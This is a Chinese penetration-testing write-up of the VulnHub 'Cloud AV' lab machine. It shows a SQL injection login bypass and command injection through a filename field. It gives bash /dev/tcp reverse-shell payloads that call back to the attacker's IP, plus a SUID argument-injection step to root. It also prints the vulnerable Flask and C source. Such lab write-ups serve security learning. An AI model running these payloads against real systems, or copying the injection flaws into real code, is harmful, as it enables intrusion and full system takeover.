VulnHub实战篇五:Cloud AV靶机渗透记录

前言:Cloud AV是BoredHackerBlog在2020年3月29日发布在Vulnhub上的最新靶机,至今还热乎着(没有找到可参考的wp)。早在今年的4月初我就把它下载了下来,但是由于我忽略一些显而易见的线索而卡了很长时间,在这期间我完成了DC-1靶机的测试,同时更加深入地了解了SUID提权。在此基础上,今天晚上再次打开Colud AV,我找到了之前被忽略的关键点并完成了对该靶机的提权,趁热记录下我的渗透过程。

0x00靶机信息

下载地址:下载地址

靶机IP:172.16.12.139

攻击机IP:172.16.12.137

0x01

Colud AV全称Cloud AntiVirus,即云杀毒系统。通过扫描端口和服务,我们获悉到目标主机开放了ssh和http服务。

nmap -sV -v 172.16.12.139

VulnHub实战篇五:Cloud AV靶机渗透记录_第1张图片

我们访问一下8080端口的web站点,可以看到要求我们输入验证码,通过几次万能密码的SQL注入尝试我们轻松突破了限制。

payload:1" or 1=1--

VulnHub实战篇五:Cloud AV靶机渗透记录_第2张图片

随后我们被跳转到了scan页面,给我们列出文件列表,提示我们选择一个进行扫描,估计此处存在命令执行问题。

VulnHub实战篇五:Cloud AV靶机渗透记录_第3张图片

我们先随便选择一个bash查看运行结果,经过了漫长的等待时间,对方终于给了我们响应,从响应中可以看到服务器端是执行了一次对该文件的病毒扫描,接着我们重新选择一个文件长度较小的hello,并测试一下是否可以执行任意命令。

输入 hello;pwd

可以看到相应信息中携带了物理路径,我们的命令被成功执行。

VulnHub实战篇五:Cloud AV靶机渗透记录_第4张图片

0x02

在第一步的基础上,尝试利用该漏洞向我们的kali建立一个反向链接

payload:hello;echo 'bash -i >& /dev/tcp/172.16.12.137/6767 0>&1'|bash

kali端:nc -lvp 6767

反向连接建立成功

VulnHub实战篇五:Cloud AV靶机渗透记录_第5张图片

可以看到该web站点使用python语言编写,于是我们用pty创建一个功能健全的交互式shell,之后查看一下网站源码,审计一通除了已知的任意命令执行没有新的发现。

python -c "import pty;pty.spawn('/bin/sh');"
cat app.py
from flask import Flask, render_template, request, session
import sqlite3
import subprocess
import os

conn = sqlite3.connect('database.sql',check_same_thread = False)
c = conn.cursor()

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['POST'])
def login():
    password = request.form['password']
    if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
        session['logged_in'] = True
        return 'Redirecting to /scan. '
    else:
        return "WRONG INFORMATION"

@app.route('/scan')
def shop():
    if session.get('logged_in'):
        filelist = subprocess.Popen("ls -l /home/scanner/cloudav_app/samples", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
        return render_template('scan.html',filelist=filelist)
    else:
        return ''

@app.route('/output', methods=['POST'])
def output():
    if session.get('logged_in'):
        filename = request.form['filename']
        scan_results = subprocess.Popen("clamscan "+filename, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
        return "
" + scan_results + "
" else: return '' if __name__ == "__main__": app.secret_key = os.urandom(12) app.run(host='0.0.0.0',port=8080, debug=True)

随后我又查看了目录下的其他文件,大部分都经过了加密,虽然有读权限但是没什么卵用……

0x03

随后我在上层目录发现了拥有root权限的更新程序和源码文件

查看一下update_cloudav的源码

#include 

int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}

char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}

可以看到该更新程序被赋予了SUID,接收用户输入的参数并未作任何处理,我们可以通过管道链接一个正常参数执行我们想要的命令

直接反弹shell,提权成功。

./update_cloudav "--help|echo 'bash -i >& /dev/tcp/172.16.12.137/7777 0>&1'|bash"

VulnHub实战篇五:Cloud AV靶机渗透记录_第6张图片

0x04后记

这次练习让我认识到细心的重要性,最后一步提权卡了很久,原因是看到了源码中的setuid觉得可疑但是并没用深入探究。另外,在渗透过程中我进行了网站目录的扫描,发现了/console,但是却没用用到,可能是另外一种思路的突破口,等之后有别的师傅发wp再研究吧!

VulnHub实战篇五:Cloud AV靶机渗透记录_第7张图片

VulnHub实战篇五:Cloud AV靶机渗透记录_第8张图片

 

你可能感兴趣的:(渗透测试,java,CTF)